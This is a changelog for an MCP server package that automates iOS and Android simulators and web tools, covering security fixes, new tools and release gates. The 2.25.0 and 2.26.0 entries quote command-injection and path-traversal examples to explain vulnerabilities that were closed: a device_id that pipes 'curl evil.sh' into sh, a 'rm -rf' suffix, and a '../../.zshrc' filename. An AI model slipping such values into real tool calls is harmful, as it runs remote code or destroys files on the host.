@mmerterden/multi-agent-toolkit-mcp 3.0.0

package/CHANGELOG.md

@@ -0,0 +1,871 @@
+# Changelog
+
+All notable changes to `@mmerterden/multi-agent-toolkit-mcp` (formerly `@mmerterden/dev-toolkit-mcp`) are documented here.
+
+Format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); the project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+Consumers pin minimum versions of this server (the multi-agent pipeline declares
+per-tool minimums), so version discipline matters here:
+
+- **Major** - a tool is removed or renamed, or an input schema stops accepting what it used to.
+- **Minor** - a new tool, or a new optional input on an existing tool.
+- **Patch** - fixes, docs, packaging, annotations, dependency bumps.
+
+Releases before this file exists are recorded in the git tags and commit history.
+
+---
+
+## Unreleased
+
+## 2.26.0
+
+Security-hardening release from a multi-agent refactor audit. No tool added or
+removed (still 83); input handling is tightened but stays backward-compatible.
+
+- **CallTool boundary now validates arguments against each tool's inputSchema.**
+  The low-level MCP Server never enforced the declared `type`/`enum`/`required`,
+  so a string reached a handler that interpolated it as a number - the root of
+  the shell-injection class below. Validation is lenient-but-safe: a numeric
+  string like `"50"` is still accepted (callers have always sent numbers that
+  way) and only a genuinely non-numeric value like `"50; rm -rf"` is rejected,
+  so no legitimate caller breaks.
+- **Command-injection sites closed.** `android_logcat` lines and
+  `ios_status_bar` battery_level/time are sanitized via `num()`/`shq()`;
+  `ios_archive_audit`, `android_apk_audit`, the app-store-audit rules, and the
+  design-check PDF path now single-quote every caller-derived path with `shq()`
+  (double quotes do not contain `$( )`). `ios_xcodebuild` `extra_args` rejects
+  shell metacharacters. New gate 14 fails the build on any double-quoted
+  interpolation inside a shell command template, so this cannot regress.
+- **Path traversal:** a relative output filename that escapes its base directory
+  (e.g. `../../.zshrc`) is refused.
+- **Annotations:** `android_install_apk` and `ios_add_media` are marked
+  destructive; `agent_run_steps` is marked open-world (it dispatches web steps).
+
+---
+
+## 2.25.0
+
+83 tools (was 80).
+
+### Added
+
+- `ios_record_video` and `android_record_screen` actually record. Both previously
+  returned a literal "Run: ..." instruction for the caller to execute by hand. Now
+  `action:"start"` spawns the recorder (`simctl io recordVideo` / `adb shell
+  screenrecord`) in the background with PID tracking and returns immediately;
+  `action:"stop"` interrupts it (SIGINT, so the mp4 container is finalized), pulls
+  the file off the device on Android, and returns the local path. One recording
+  per device; a stop with nothing running is an error.
+- `ios_list_crashes` - recent crash reports from the host's
+  `~/Library/Logs/DiagnosticReports` (where simulator app crashes land), filterable
+  by process name and age, bounded by `limit`.
+- `android_list_crashes` - the adb crash log buffer (`logcat -b crash -d`),
+  tail-bounded by `lines`.
+- `android_set_orientation` - portrait/landscape via `accelerometer_rotation 0` +
+  `user_rotation`. No iOS counterpart: simctl exposes no rotation lever, so an
+  `ios_set_orientation` is deliberately absent rather than fake.
+- `path` param on `android_screenshot` and `web_screenshot`, matching
+  `ios_screenshot`: write the PNG to a file and return its location instead of a
+  base64 payload per capture.
+- `path` param on `ios_get_ui_tree` and `android_get_ui_tree` - the raw dump goes
+  to a file instead of inlining an unbounded tree - plus `filter:"interactive"` on
+  the Android side: a compact JSON list of just the actionable elements (class,
+  text, resource-id, content-desc, tap-ready center coordinates).
+- `resource_link` content items (2025-06-18 MCP spec) on every file-returning
+  result: screenshots written to a path, the `ios_xcodebuild` log file, the
+  `ios_visual_diff` diff image, UI tree dumps, and the new recordings. The text
+  content is unchanged; hosts that ignore resource links see no difference.
+- Progress notifications and cancellation on the long-runners. `ios_xcodebuild`,
+  `ios_export_ipa`, `ios_testflight_validate` and `android_install_apk` now run on
+  async `spawn`/`execFile` instead of `execSync`, so the server keeps answering
+  requests mid-build; a client `progressToken` gets heartbeat
+  `notifications/progress` frames (elapsed time, last xcodebuild output line), and
+  the host's cancellation signal kills the child.
+
+### Fixed
+
+- **Command injection via `device_id`** - `adbFlag()` interpolated the id into
+  shell strings with no validation, so a model-controlled value like
+  `"x; curl evil.sh|sh;"` executed on the host; `android_list_crashes` is even
+  annotated read-only, so a host trusting `readOnlyHint` could run it unattended.
+  Serials are now validated inside `adbFlag()` itself (covering every call site),
+  with a charset that still admits TCP endpoints (`ip:port`). `iosDevice()` got
+  the same treatment - a caller-supplied UDID was interpolated bare into
+  simctl/idb strings the same way. Regression-tested over a real stdio handshake:
+  a metacharacter `device_id` is refused, not executed.
+- `spawnCollect` accumulated child output without a cap; a long verbose
+  xcodebuild could exceed V8's max string length, and that throw fires inside a
+  stream 'data' handler - outside the CallTool try/catch - killing the whole
+  stdio server. Output is now capped at the 64MB the replaced execSync enforced
+  via maxBuffer, keeping the tail; truncation is noted in the log and result.
+- `android_record_screen` stop deleted the device-side file (and the recording
+  registry entry) before checking the pull succeeded, so a transient pull
+  failure lost the recording irrecoverably. The remote rm and the registry
+  release now happen only after a confirmed pull; a failed stop keeps both and
+  says to call stop again to retry.
+- Recorder children are SIGINTed (which finalizes the files) on SIGTERM/SIGINT
+  instead of being orphaned: `simctl io recordVideo` has no time limit, so an
+  orphan kept writing until the disk filled.
+- An Android recording that hit screenrecord's 180s cap left its registry entry
+  looking active, so a later start wrongly reported "a recording is already
+  running". The entry is marked exited on child close, and start now answers
+  "the previous recording finished but was not collected" instead.
+- `android_get_ui_tree` with both `path` and `filter:"interactive"` persisted
+  the raw XML while returning the filtered JSON, attaching a resource_link to
+  content the tool never showed. The persisted file now matches the returned
+  text; covered by a fake-adb integration test.
+- The progress heartbeat in `ios_export_ipa` and `ios_testflight_validate` is
+  stopped in a finally block; a rejection used to leave the 10s setInterval
+  emitting progress frames forever.
+- `ios_record_video` stop distinguishes simctl's clean exit from the 8s
+  timeout: the file exists from the moment recording begins, so existence alone
+  never proved finalization. The timeout branch says the file may still be
+  finalizing. Start also validates the output directory upfront, like every
+  other path-accepting tool, instead of failing confusingly at stop time.
+- `ios_get_ui_tree` validates the `path` parent directory before the
+  up-to-15s AX dump, matching its Android sibling.
+- `android_set_orientation` assumed portrait-natural devices, inverting the
+  result on landscape-natural tablets. Natural orientation is now detected via
+  `wm size` (physical size is rotation-independent) and the `user_rotation`
+  mapping flipped accordingly.
+- `npm audit --omit=dev` is clean again: `@modelcontextprotocol/sdk` ^1.30.0 plus
+  refreshed transitive pins clear the fast-uri host-confusion advisory (high) and
+  the hono/`@hono/node-server` advisories (moderate).
+
+### Changed
+
+- `pixelmatch` 6.0.0 -> ^7.2.0. Same call signature; 7.x compares in OKLab and
+  blends semi-transparent pixels against a checkerboard by default, which does not
+  affect opaque screenshots.
+
+---
+
+## 2.24.2
+
+### Added
+
+- Turkish README (`README.tr.md`), cross-linked from `README.md`.
+
+### Fixed
+
+- Publishing targets the public npm registry, so the `npx` command the pipeline installer
+  registers can actually resolve. `publishConfig.registry` pointed at GitHub Packages,
+  which answers **401 to unauthenticated reads even for public packages**, so
+  `npx -y @mmerterden/dev-toolkit-mcp` returned E404 for everyone whose `~/.npmrc` did not
+  redirect the `@mmerterden` scope. Registration itself never failed - it only writes host
+  config - so the break surfaced later, as a missing tool the first time a skill reached
+  for one. Now `registry.npmjs.org` with `access: public`, matching the pipeline package.
+  Enforced upstream by the pipeline's `smoke-mcp-package-resolvable.sh`, which fails when
+  the registered command's registry and this package's publish registry disagree.
+- README still described this package as private on GitHub Packages, requiring a
+  Classic PAT and a `~/.npmrc` scope override - stale since the fix above moved
+  publishing to the public registry. Removed the Prerequisites section (Option B/`npx`
+  needs none), and replaced the GitHub-Packages-specific `E401`/`E404` troubleshooting
+  entries with the actual current failure mode: a leftover `@mmerterden:registry`
+  override in `~/.npmrc` redirecting this package to GitHub Packages by mistake.
+
+---
+
+## 2.24.1
+
+### Added
+
+- Gate 13: Copilot CLI is now an exercised host, not a documented one. It was listed as
+  supported for months while the pipeline installer never registered this server there,
+  so every skill that reaches for a tool - `design-check`, the `ios_*` / `android_*`
+  simulator calls, the archive audits - had nothing to call on that host. The gate walks
+  the real round-trip: add, config landed, duplicate-add behaviour, remove.
+- The duplicate-add assertion pins a behavioural difference the installer depends on:
+  `codex mcp add` replaces an existing entry and exits 0, while `copilot mcp add`
+  refuses and exits 1 with `already exists`. Treating that exit code as a failure made a
+  correct registration report as "skipped MCP registration (Command failed)".
+
+## 2.24.0
+
+TestFlight pre-submission validation: ask Apple before Apple asks you.
+
+### Added
+
+- **`ios_testflight_validate`** - wraps `xcrun altool --validate-app`. This is the
+  authoritative pre-submission gate and it is complementary to, not a replacement
+  for, `ios_app_store_audit`. The static audit reads the archive on disk, so it
+  structurally cannot know whether the bundle ID is registered, whether the
+  embedded profile matches the App Store Connect app record, whether this
+  version+build pair was already used, or whether an entitlement is actually
+  provisioned for the App ID. Only Apple's server answers those.
+  Returned ITMS codes are mapped onto the App Store rule each one implies
+  (`ITMS-90683` → purpose strings / 5.1.1, `ITMS-91053` → privacy manifest
+  required-reason, `ITMS-90046` → entitlement not permitted by the profile, ...),
+  with Apple's own message passed through verbatim for anything unmapped rather
+  than guessed at.
+- **`ios_export_ipa`** - `.xcarchive` → signed `.ipa` via
+  `xcodebuild -exportArchive`, generating the `exportOptions.plist` from
+  arguments so callers do not hand-maintain one. A run that exits 0 without
+  producing an `.ipa` is reported as a failure, because xcodebuild does that.
+
+### Fixed
+
+- **`design_scenario_inventory` produced a different answer for the same input.**
+  Target discovery walks the filesystem and directory read order is not stable
+  across runs, and three things derived their order from it: the `byKind` /
+  `byCost` count maps (insertion order, so `JSON.stringify` differed), which
+  relaunch claimed a shared in-app rider (first match won), and the order riders
+  were listed within a batch. The release gate went red roughly one run in three
+  with no code change - the shape of defect that trains you to re-run instead of
+  to look. Count maps are now emitted with sorted keys, relaunch iteration is
+  canonical, and rider ids are sorted within each batch.
+- **Riders now ride with the relaunch that can actually drive their screen.**
+  Falling out of the fix above: two relaunch targets can match the same screen
+  while only one carries a launch argument, and the undrivable one could win the
+  riders purely by iterating first - yielding a plan that cannot be executed,
+  because the app never reaches the mock state those riders need. Assignment
+  scores an exact screen match above a substring one, then a relaunch with a
+  launch argument above one without, then canonical order. Substring pairing
+  ("Apis Form" ↔ "APIS") still works; it just no longer outranks an exact match.
+- New `plan-determinism.test.mjs` permutes `buildPlan`'s input across 40 seeds
+  and asserts the plan is byte-identical. A pass-count is not proof of order
+  independence: this property test caught residual rider-ordering drift on its
+  first run, after 44 consecutive green runs of the existing suite had missed it.
+- `scripts/gates.sh` no longer walks `.worktrees`. A git worktree is a separate
+  checkout of another branch, so its suites were being run against this tree and
+  gate 10c demanded that this tree's `npm test` name files that only exist on
+  another branch - a failure no change here could fix.
+
+### Notes
+
+- **Three-tier auth, and a skipped gate never reads as a pass.** Tier 1 is an App
+  Store Connect API key; tier 2 is an Apple ID plus an app-specific password,
+  which matters because creating an API key needs an Admin or App Manager role
+  that many developers on a corporate team do not have, while any Apple ID holder
+  can generate an app-specific password. With neither, the tool returns
+  `verdict: "SKIPPED"` and the reason. "Apple did not object" and "Apple was
+  never asked" must not render the same way.
+- **Secrets are referenced, never passed.** altool's `-p @keychain:<item>` and
+  `-p @env:<VAR>` indirections are the only forms used, so a password cannot
+  leak through the process list or through an error that echoes the command. A
+  unit test asserts no secret reaches argv.
+- **A literal password is refused, not used.** Passing one would put the secret in
+  argv; doing it silently would be worse, because the caller would get no signal
+  that their credential was exposed. The error names the two safe forms and the
+  one-off `altool --store-password-in-keychain-item` command that creates the
+  keychain item.
+- **A missing `password_env_var` is caught before altool sees it.** `-p @env:MISSING`
+  fails deep inside delivery with something that reads like a wrong password,
+  which sends you to rotate a credential that was fine.
+- **`-allowProvisioningUpdates` is off by default** on `ios_export_ipa`. That flag
+  lets xcodebuild register devices and create or modify provisioning profiles in
+  the developer account. A tool whose job is to check a build must not silently
+  alter the account the build belongs to, so it is opt-in via
+  `allow_provisioning_updates`.
+- Neither tool is in `READ_ONLY_TOOLS`: `ios_export_ipa` writes files and
+  `--validate-app` uploads the binary to Apple, so both require approval rather
+  than running unattended.
+- The generated `exportOptions.plist` temp dir is removed after a successful
+  export and kept (and reported) after a failure, so a failed run stays
+  inspectable without accumulating one temp dir per export forever.
+- Tool count 78 → 80 (iOS 35 → 37, Store Compliance 3 → 5).
+
+## 2.23.0
+
+Documentation that claimed more than it checked, and the gate that let it.
+
+**Editor support is now stated as verified vs compatible.** The README opened with
+"Works with Claude Code, Copilot CLI, Cursor, Antigravity, and VS Code Copilot Chat
+- the multi-agent-pipeline's full-orchestration targets". That parenthetical stopped
+being true in pipeline v10.7.0, when the Cursor / Antigravity / Codex / Copilot Chat
+adapters were deleted; the pipeline has targeted Claude Code and Copilot CLI only
+ever since.
+
+The list is not simply wrong, though: this is a plain stdio MCP server, so it does
+run in any MCP client, and the config snippets for those clients stay. What was
+wrong was presenting five hosts as supported when the gates exercise two. That
+distinction has a price tag now: 2.20.0 and 2.21.0 shipped an illegal `outputSchema`
+on the first tool, so Claude Code rejected the entire `tools/list` and served zero
+of the 78 - in the primary host, for two releases, with every gate green.
+
+**Gate 3b: per-family counts, not just the headline.** Gate 3 checked the two
+headline numbers and nothing else, so every subcount drifted behind a green check:
+
+| README said | reality |
+|---|---|
+| Device Control (42 tools) | 58 |
+| Store Compliance (4 tools) | 3 |
+| iOS Tools (34), diagram (31) | 35 |
+| 5 categories summing to 57 | 78 |
+
+The last row is the interesting one: the whole `design_*` family, six tools, was
+missing from the category list entirely, which is why the listed categories could
+never sum to the advertised total. A gate that verifies one number while its
+components drift reports an agreement it never checked.
+
+3b matches each `### <Family> Tools (N)` section against the served family count
+and requires the category bullets to sum to the total, so an unlisted family fails
+instead of hiding in the arithmetic. Verified by re-injecting a wrong subcount.
+
+All counts corrected, and the Design Audit category added.
+
+## 2.22.0
+
+**Fixes a server that Claude Code could not load at all.** `ios_list_devices`
+declared `outputSchema: { type: "array", items: {...} }`. MCP's `structuredContent`
+is an object, so the schema describing it must be `type: "object"`, and the host
+validates the ENTIRE `tools/list` response - so one illegal entry on the FIRST tool
+made all 78 unavailable:
+
+```
+Reconnected to dev-toolkit, but fetching tools failed:
+[{ code: invalid_value, path: [tools, 0, outputSchema, type],
+   message: Invalid input: expected "object" }]
+```
+
+`/mcp` showed `dev-toolkit - connected - tools fetch failed`: a connected server
+with zero usable tools. Any pipeline command depending on it (`design-check`,
+`test`, `build-optimize`) halted at its MCP gate.
+
+The declaration is removed rather than reshaped. Wrapping the payload as
+`{ devices: [...] }` would have made it legal, but this tool's text output is a
+JSON array that callers parse, so re-shaping it is a breaking change bought for
+structured output nobody requested. Dropping the schema restores a legal
+`tools/list` and leaves the text output byte-identical.
+
+**Why no gate caught it.** Gate 9 hand-wrote what it believed the spec allowed:
+
+```js
+if (t.outputSchema.type !== "object" && t.outputSchema.type !== "array")
+```
+
+It explicitly permitted `array`. The gate encoded a wrong belief about the spec and
+then verified the code against that belief, so the code and the gate agreed with
+each other and both disagreed with the client. Gate 9 is now object-only, and new
+**gate 9b** stops asserting beliefs altogether: it pipes the real `tools/list`
+response through `ListToolsResultSchema` from `@modelcontextprotocol/sdk` - the same
+Zod schema the host uses - so the check is authoritative rather than a guess.
+Verified by re-injecting the bad schema: 9b reproduces the host's error verbatim,
+down to the `path` array.
+
+## 2.21.0
+
+**Fixture-count noise is demoted, not reported as defects** (`docs/design-check-gaps.md`
+section 1, the item that dominated a real 109-target audit). A live capture is
+compared against a screen frame, and a screen frame carries whatever the mock
+fixture produced: 5 passenger rows in the design against 3 in the app makes every
+container height and every downstream position differ for a reason that is not a
+defect.
+
+`tools/design-check/content-cardinality.js` detects a repeated-group count
+difference from the element lists and demotes the geometry findings it explains.
+On by default; `content_cardinality: false` returns the raw findings.
+
+Written defensively, because the dangerous direction here is not noise but a
+HIDDEN DEFECT - demote too eagerly and the engine silently stops reporting real
+deviations, invisibly, in the one report whose job is to surface them. Five rules,
+each an explicit test:
+
+- nothing is ever DELETED; an affected finding stays with `advisory: true` plus a
+  shared `rootCause`, so it renders under the existing "DO NOT CHANGE" group, and
+  `contentCardinality.demoted` reports the count - a demotion is never silent;
+- only geometry findings are eligible. Copy, colour, typography, font-family,
+  tap-target and missing-element findings are never touched: a row-count
+  difference cannot make a colour wrong or a string mistranslated, so it can never
+  be the explanation for one;
+- an absent group is NOT a count difference. 1-vs-0 is a missing element, which is
+  a real defect and exactly what this must not explain away;
+- only findings AT OR BELOW the first differing group. A count difference shifts
+  what follows it, never what precedes it. A finding whose position cannot be
+  established keeps full severity - demoting on a guess is the failure mode this
+  module must not have;
+- idempotent: an already-advisory or `verified` finding is left byte-identical.
+
+The 21 tests cover both directions, with more weight on "must NOT demote" than on
+"must demote". 8 further tests assert the WIRING (the module is imported, the
+detector is called, the demotion is applied after copy comparison so it sees every
+finding, and the opt-out reaches it from the tool args) - a unit-tested module that
+nothing calls is the defect class the sibling pipeline repo just spent a release
+removing.
+
+**FIELD VALIDATION PENDING.** The gaps-doc acceptance criterion ("a screen whose
+fixture returns a different row count produces zero geometry findings") needs the
+real module, a live capture and Figma design context to confirm end to end. What
+is proven is the safe direction. Treat the tuning constants as provisional until a
+real run is measured, and check `contentCardinality.demoted` against the 52
+confirmed deviations that audit found before trusting a quieter report.
+
+## 2.20.0
+
+**`ios_app_store_audit` has tests.** The 18-rule App Store compliance scanner
+shipped 2,507 lines of rule code with none, while `npm test` ran only the
+design-check suite and gates step 10 globbed for `*.test.mjs`, found exactly one,
+and honestly reported "1 suite passed". An empty `__tests__/fixtures/` directory
+sat beside the rules as evidence that tests had been intended. This is the code
+that decides whether an archive is fit to upload, so a false PASS costs a
+rejection round.
+
+74 tests now cover the dispatcher contract (rule selection, `core` as a strict
+subset of `all`, an unknown rule id selecting nothing rather than falling back to
+the full scan, severity ordering, summary/verdict consistency, and the promise
+that one throwing rule cannot abort the scan) plus per-rule logic against
+synthetic contexts. Three properties are asserted across every rule, each
+protecting against a silent-miss shape the dispatcher permits:
+
+- a rule must return an ARRAY - `runAudit` does `if (Array.isArray(out))` and
+  otherwise discards the result while still listing the rule in `rulesRun`, so a
+  rule returning a bare object reports nothing and looks like a clean pass;
+- a rule must not throw on a sparse context (empty/null `infoPlist`, null
+  collections, no executable) - `runAudit` converts a throw into a "tool bug"
+  warning that REPLACES whatever that rule would have found;
+- every violation must carry the rule's own `ruleID`, or it is unattributable and
+  breaks the documented alphabetical-within-severity sort.
+
+**Gates 10b and 10c.** 10b requires every `tools/<dir>/` to carry at least one
+suite, so an untested tool directory is visible instead of being implied as
+covered. 10c requires `npm test` to name every suite on disk: Node 25 rejects
+`node --test tools/` (it resolves the directory as a module), so the script lists
+suites explicitly, and that list would otherwise go stale and hand a contributor
+a false green.
+
+**`android_set_locale` verifies instead of asserting.** It already read the locale
+back with `get-app-locales`, but reported the REQUESTED value as fact and put the
+device's answer in a parenthetical. A device that accepted the command and applied
+a different locale, or none, still read as success. It now compares them
+(case-insensitive, and accepting a more specific tag than asked for, so
+`tr` -> `tr-TR` is a match) and returns an error on mismatch.
+
+**Dependency audit is an allowlist, not a severity floor.** CI ran
+`npm audit --omit=dev --audit-level=high`. That was right about the two live
+findings and wrong as a policy: it ignores every moderate advisory forever,
+including unrelated future ones that could well be reachable here. The
+justification also lived only in a workflow comment, where nothing could
+invalidate it.
+
+`scripts/audit-allowlist.mjs` names each accepted advisory with its reason and
+re-verifies that reason on every run. The current exception is
+`@hono/node-server < 2.0.5` (GHSA-frvp-7c67-39w9), reached transitively through
+`@modelcontextprotocol/sdk`, which pins `^1.19.9`: a path traversal in
+`serve-static` on Windows. The reason it does not apply here is that this server
+is stdio-only, so the gate checks that no shipped source imports an HTTP
+transport, hono, or express - if someone adds a streamable-HTTP transport, the
+exception stops applying on that same run. There is no SDK release that lifts the
+pin (1.29.0 is the latest and still depends on `^1.19.9`), and
+`npm audit fix --force` would downgrade the SDK to 1.24.3. Anything unlisted now
+fails at any severity, an accepted advisory that escalates fails, and a stale
+entry whose advisory is gone fails too.
+
+**Stale rule count.** `index.js` and `context.js` said "17-rule" / "17 rules"
+while the registry held 18; the tool descriptor the model reads to choose
+`--rules` said 17 too. Corrected, and two tests now tie the descriptor's
+advertised full-scan and `core` counts to the rules that actually execute.
+
+## 2.19.0
+
+First three items off the design-check handoff spec (`docs/design-check-gaps.md`).
+
+**section 8 - `design_scenario_inventory` summary mode.** The full payload measured
+71,196 characters for a 109-target module and exceeded the host's tool-result cap
+on all seven runs of a real audit, forcing a write-to-file round trip every time.
+`summary: true` drops `targets[]`, which is nearly all of the bulk (label, screen,
+driver and a file+line+snippet evidence block per target). Nothing structural is
+lost: `plan[].targetIds` already carries every id in the order it should be driven
+and `groups[].ids` carries the per-screen lists, so a run can be driven entirely
+from the summary and ask for labels and evidence later. `targetsOmitted` and
+`summary: true` are stated explicitly, so a consumer can tell a withheld list from
+a scan that found nothing. Measured on the real module's shape at its reported
+target count: 66,591 characters down to 450.
+
+**section 9, second half - `ios_screenshot` gains `path`.** Returning a base64 PNG
+per capture exhausts the caller's context across the 100+ captures an audit takes,
+which is why the motivating run shelled out to `xcrun simctl io` directly. With
+`path` the file is written and only its location comes back. A missing parent
+directory is an error rather than a silent miss.
+
+**section 9, first half - the AX-box caveat is now on the tool.**
+`design_ui_geometry` returns accessibility boxes, glyph runs and hit areas, not
+layout containers, so a 247pt design text container measured against its 78pt glyph
+box produces phantom findings. The description says so and points at measuring from
+the pixels instead. Documented rather than changed: returning container-union boxes
+is a real option but it changes what every existing caller receives.
+
+Still open from the spec: sections 1, 2, 2a, 3, 4, 5, 6, 6a (component-variant
+comparison, variant previews, per-finding fileKey, typography/colour/copy
+expectations, code location and token snapping) and section 7 (scroll-stitch).
+
+## 2.18.0
+
+**A tool name with a valid family prefix but no matching case reported success.**
+Every handler's `default:` arm returns null, and `dispatchStep` / the CallTool
+handler only threw "Unknown tool" for a name matching no prefix at all. So
+`ios_taap`, `design_reprot`, `android_tpa` reached their handler, came back
+null, and were answered to the host as the literal text `"null"` with no
+`isError`. Inside `agent_run_steps` the step was recorded `status: "ok"` and the
+verdict stayed `all_ok`. Same false-success class as the 2.13.0 batch fix, in a
+different place. A null return is now an error at both levels.
+
+**outputSchema + structuredContent (spec 2026-07-28).** Nine tools declare an
+output schema and fill `structuredContent` alongside their existing text
+content: the two accessibility audits, the archive and APK audits,
+`ios_list_devices`, `ios_visual_diff`, `android_launch_time`,
+`design_ui_geometry` and `agent_run_steps`. Only shapes read off the return
+statement are declared - `ios_xcresult` (four shapes by mode),
+`ios_app_store_audit`, the delegated `design_*` reports and `web_eval` are
+deliberately left out, because a schema that does not match its payload makes
+the host reject a good result. Text content is unchanged, so a host that
+ignores `structuredContent` sees no difference.
+
+**Two new gates.** Gate 8 drives three unknown names through the call and batch
+paths and requires an error on each. Gate 9 requires every tool advertising an
+outputSchema to actually return `structuredContent`, and to keep its text
+content beside it. 14 gates, all green.
+
+## [3.0.0] - 2026-08-22
+
+### Changed
+- **Renamed to `@mmerterden/multi-agent-toolkit-mcp`.** The old name read as internal scaffolding for one pipeline; this server is a standalone MCP over stdio with three runtime dependencies and no coupling to any orchestrator, and the name now says which family it belongs to. Major, because a package rename breaks every consumer that resolves it by name.
+- **The MCP server identity reported over the protocol is now `multi-agent-toolkit-mcp`.** Hosts key their registration off this, so an existing `dev-toolkit` entry does not upgrade in place - it has to be removed and re-added. The pipeline installer does that automatically; a hand-registered client needs `<cli> mcp remove dev-toolkit` once.
+- **`dev-toolkit-mcp` is kept as a second `bin` alias** so a script that invokes the old binary name keeps working through the transition.
+- Package description and keywords lead with what the server does (iOS Simulator, Android Emulator, headless web, 83 tools) rather than with the family it ships in, because that is what someone searching for it will search for.
+
+### Migration
+- `npm i -g @mmerterden/multi-agent-toolkit-mcp` then remove the old registration: `claude mcp remove dev-toolkit` (same for `copilot` / `codex`).
+- `@mmerterden/dev-toolkit-mcp` stays published at 2.26.0 and is deprecated with a pointer to the new name. Nothing is unpublished; a pinned consumer keeps resolving.
+
+## [2.17.0] - 2026-07-26
+
+The audit measured geometry only, so it could not answer whether the copy was
+right — and a perceptual diff reporting "these pixels differ" is not an answer.
+
+### Added
+
+- **`compareCopy` — copy checked against the design's UX-WRITING ANNOTATION.** The
+  authoritative strings are the annotation on the Figma node, not the frame render,
+  which is a stale picture of the words. An exact live match is reported as
+  verified (so the report shows what was checked, not only what failed), a near
+  miss as a copy defect carrying both strings, and a string with no counterpart as
+  advisory, because the capture may not show the state that carries it.
+
+  Matching is one-to-one: without claiming, a single live label is offered as the
+  near match for several unrelated design strings and a loose threshold turns "not
+  on this screen" into a fabricated defect. Exact matches claim first, then near
+  matches take what remains, strongest pair first.
+
+  Reachable from `design_visual_compare` via `design_copy`, so one call covers
+  geometry and copy together.
+
+Found on the audited module the first time it ran: the design specifies "Soyadı",
+the app renders "Soyad" — with 10 of 13 strings confirmed on-spec.
+
+## [2.16.0] - 2026-07-26
+
+A stretching element's horizontal insets were measured against the frame, which
+reported a perfectly on-spec button as off.
+
+### Fixed
+
+- **Horizontal insets are measured against the parent, not the frame.** A button
+  16pt inside a modal keeps 16pt on any device, but its distance to the frame edge
+  changes with both the screen width and the modal's own width. Measured against
+  the frame, design 32pt vs live 40pt looked like a defect; against the parent both
+  sides read 16/16 — identical. Parenthood is recovered geometrically (the smallest
+  box that fully contains this one), so it needs no project knowledge and applies
+  to either side. A genuinely wrong inset inside a parent is still reported.
+
+### Changed
+
+- **Advisories collapse to one line.** They exist to say "do not act on this", so
+  a full card per advisory beside the real findings doubled the page for the same
+  elements while giving the reader nothing to do. Now a single expandable summary.
+
+## [2.15.0] - 2026-07-26
+
+The checks added in 2.12–2.14 overlapped, so one defect could arrive in the
+report three times and a finding the engine could not actually confirm was
+presented with the same weight as one it could.
+
+### Changed
+
+- **One measurement, one owner.** `edge` was reporting distances that `inset` and
+  `gap` already owned — including, via the raw spec geometry, the very
+  wrapper-vs-visible phantom 2.11.0 removed. It is now restricted to the one
+  thing nothing else measures: the horizontal distance between two siblings (an
+  icon-to-label gap). Vertical sibling distances belong to `gap`, horizontal
+  frame distances to `inset`, which resolves them from the pixels.
+- **Centring and symmetry read the pixel edges too.** They were computed from the
+  raw boxes, so a full-bleed wrapper was trivially "centred" while the live AX
+  union was not — an off-centre finding on a correct screen. The pixel edges are
+  now resolved once per element and every check reads the same answer.
+- **Unconfirmed findings are advisory.** An inset with no pixel confirmation may
+  be comparing a wrapper box against a glyph run, so it is reported with that
+  reason attached rather than as a defect. Alignment findings derived from the
+  same boxes follow it.
+
+Re-measuring an existing 28-screen audit: 109 reported deviations became 52
+confirmed ones, and the worst offender went from 7 findings to 1.
+
+## [2.14.0] - 2026-07-26
+
+Design conformance was measured with absolute positions, which answer the wrong
+question: two screens showing the same component with different mock content put
+it at different Y, so a conformant screen was reported as "+37pt off" while a
+real defect beside it went unreported.
+
+### Added
+
+- **Local edge distances — the on-device-inspector measurement, made generic.**
+  For every element, the four distances to whatever actually bounds it: the
+  nearest sibling overlapping on the perpendicular axis, else the frame edge.
+  The identical pure-geometry function runs over the design box list and the live
+  box list, so no per-project knowledge and nothing that has to execute inside
+  the app. A block pushed down by a taller fixture keeps its own distances and
+  stays silent; a padding or gap that genuinely changed surfaces on the exact
+  edge, naming what it was measured against.
+
+  Three cases are demoted to advisory rather than reported as defects, because
+  each is the same fact arriving twice or a quantity that is not local:
+  - a trailing edge that moved only because the element itself grew (already
+    reported as size),
+  - a distance measured to a sibling on one side and to the frame on the other,
+  - a vertical distance to the frame, which accumulates every block above it and
+    so has exactly the flaw absolute Y had. Horizontal frame distances are real
+    margins and stay real.
+
+### Notes
+
+- Font size, weight and colour still cannot be read from outside the process, so
+  typography remains a design-side expectation to verify in code rather than a
+  measured delta.
+
+## [2.13.0] - 2026-07-26
+
+`agent_run_steps` reported failed steps as successes. A batch could run to
+completion with `verdict: "all_ok"` while every step in it had failed.
+
+### Fixed
+
+- **Step failures are now reported as failures.** `run()` signals a command
+  failure by RETURNING a string prefixed with `ERROR: ` rather than by throwing.
+  The `tools/call` handler tests for that marker with `isFailure()` before
+  answering the host, but the batch loop only had a `try`/`catch`, so a broken
+  step was recorded `status: "ok"`, `errors` stayed `0`, the verdict published
+  `all_ok`, and `stop_on_first_error` never fired because nothing threw. The loop
+  now applies the same `isFailure()` judgement the single-call path does.
+- **`stop_on_first_error` stops the batch.** Previously only a thrown exception
+  could halt it, which meant the common case (a CLI exiting non-zero) ran every
+  remaining step against a device left in an unexpected state.
+
+### Added
+
+- **`aborted` in the batch report**, distinguishing "stopped early because a step
+  failed" from "ran everything and some steps failed". An aborted batch also sets
+  `isError` on the result envelope; failures the caller opted into with
+  `continue_on_error` do not, since there the call did what it was asked.
+- **`design_*` steps are dispatched.** The tool description offered "any tool
+  name" while the loop only handled `ios_*`, `android_*` and `web_*`, so the six
+  design-check tools were refused with "Unknown tool".
+- **Gate 7 in `scripts/gates.sh`** covers all of the above, probing with
+  `ios_archive_audit` on a missing path: it returns the failure marker without
+  throwing and needs no simulator, emulator or external binary, so it exercises
+  the same path on every runner. Verified to fail against the old behaviour.
+- **Gate 9 in `scripts/gates.sh`** requires a CHANGELOG entry for the version in
+  `package.json`. Added because 2.11.0 and 2.12.0 shipped without one.
+
+### Changed
+
+- The `agent_run_steps` description and its `tool` schema text now state the
+  accepted prefixes and the failure semantics instead of "any tool name".
+- Nested `agent_*` steps are refused explicitly rather than falling through to
+  "Unknown tool"; a batch able to nest itself has no recursion bound.
+
+---
+
+## [2.12.0] - 2026-07-26
+
+Recorded after the fact: this release shipped without a CHANGELOG entry. Summary
+transcribed from commit `a8d83ba`.
+
+`design_visual_compare` answers "is it built 1:1" with relations rather than
+absolute positions.
+
+### Changed
+
+- **Absolute Y was the wrong unit.** Two screens rendering the same component
+  with different mock content place it at a different Y, so the audit flagged
+  conformant screens as "+37pt off" while missing an actual defect beside it.
